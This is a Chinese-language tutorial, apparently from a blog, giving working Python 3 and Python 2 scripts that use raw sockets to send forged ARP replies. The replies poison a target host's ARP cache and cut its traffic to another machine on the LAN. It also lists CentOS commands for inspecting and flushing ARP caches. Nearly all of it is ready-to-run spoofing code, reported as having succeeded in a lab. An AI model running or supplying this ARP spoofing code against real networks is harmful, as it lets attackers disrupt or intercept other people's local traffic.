基於python發送ARP欺騙消息
測試通過發送ARP欺騙數據包阻斷局域網兩臺機器的連接
利用linux下python的socket標準庫(socket.socket(socket.AF_PACKET, socket.SOCK_RAW)),發送自定義數據包到目標機器完成欺騙測試嘗試,主要代碼參考如下。
發送arp欺騙包
攻擊成功後,18與19之前通信中斷
18主機上ARP變更情況
python3發送arp欺騙
# -*- coding: utf-8 -*-
## root@linux python3
import socket
def send_arp_is_at():
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
### 數據包出口網卡
s.bind(("ens37", 0))
## 虛假IP
#src_ip_addr = b"\x0a\x0a\x01\x13"
src_ip_addr = ip2bin_ip("10.10.1.19")
## 虛假MAC地址(使目標虛假IP與被欺騙主機IP通信中斷)
#dst_mac_addr = b"\x00\x0c\x29\x05\x11\x00"
dst_mac_addr = mac2bin_mac("00:0c:29:05:11:00")
## 即將被欺騙的主機的IP
dst_ip_addr = ip2bin_ip("10.10.1.18")
## 即將被欺騙方的MAC地址
src_mac_addr = mac2bin_mac("00:0c:29:05:6c:36")
## arp 迴應
arp_opcode = b"\x00\x02"
s.send(src_mac_addr+dst_mac_addr+b"\x08\x06\x00\x01\x08\x00\x06\x04"+arp_opcode+dst_mac_addr+src_ip_addr+src_mac_addr+dst_ip_addr+b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
print('send send_arp_is_at')
# transfer ip to bin_ip
def ip2bin_ip(ip):
ip_list=ip.split('.')
result_arr = b"";
for i in range(4): #0,1,2,3
tnum = int(ip_list[i])
bnum = tnum.to_bytes(1, byteorder = 'big', signed = False)
result_arr = result_arr + bnum
return result_arr
# transfer mac to bin_mac
def mac2bin_mac(mac):
mac_list=mac.split(':')
result_arr = b"";
for i in range(6): #0,1,2,3,4,5
hexnum = mac_list[i]
result_arr = result_arr + bytearray.fromhex(hexnum)
return result_arr
if __name__ == '__main__':
## 發送欺騙包(使用root賬戶)
send_arp_is_at()
print("done");
python2發送arp欺騙
# -*- coding: utf-8 -*-
## root@linux python2
import socket
import binascii
## ens37
## 10.10.1.19 \x0a\x0a\x01\x13 00:50:56:3a:11:09
## 10.10.1.18 \x0a\x0a\x01\x12 00:0c:29:05:6c:36
def send_arp_is_at():
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
### 數據包出口網卡
s.bind(("ens37", 0))
## 虛假IP
src_ip_addr = ip2bin_ip("10.10.1.19")
## 虛假MAC地址(使虛假IP與被欺騙主機IP通信中斷)
dst_mac_addr = mac2bin_mac("00:0c:29:05:11:00")
#src_ip_addr = "\x0a\x0a\x01\x13"
#dst_mac_addr = "\x00\x0c\x29\x05\x11\x00"
## 即將被欺騙的主機的IP
dst_ip_addr = ip2bin_ip("10.10.1.18")
## 即將被欺騙方的MAC地址
src_mac_addr = mac2bin_mac("00:0c:29:05:6c:36")
## arp 迴應
arp_opcode = "\x00\x02"
s.send(src_mac_addr+dst_mac_addr+"\x08\x06\x00\x01\x08\x00\x06\x04"+arp_opcode+dst_mac_addr+src_ip_addr+src_mac_addr+dst_ip_addr+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
print('send send_arp_is_at')
## "00:0c:29:05:6c:36" to str "\x00\x0c\x29\x05\x6c\x36"
def mac2bin_mac(mac):
hexmac = mac.replace(':', "")
return binascii.a2b_hex(hexmac)
## 10.10.1.18 to str "\x0a\x0a\x01\x12"
def ip2bin_ip(ip):
ipns = ip.split('.')
result_arr = "";
for i in range(4): #0,1,2,3
tnum = int(ipns[i])
bnum = hex(tnum)
if(len(bnum)==3):
bnum = "0x0" + bnum[2]
result_arr = result_arr + bnum
result_arr = result_arr.replace("0x","")
return binascii.a2b_hex(result_arr)
if __name__ == '__main__':
## 發送欺騙包(使用root賬戶)
send_arp_is_at()
print("done");
Centos7 ip命令參考
## 查看ARP列表
ip neighbor show
## 清除ens37網口全部的ARP緩存
ip neighbor flush dev ens37
## 關閉ens37網口
ip l set ens37 down
## 啓用ens37網口
ip l set ens37 up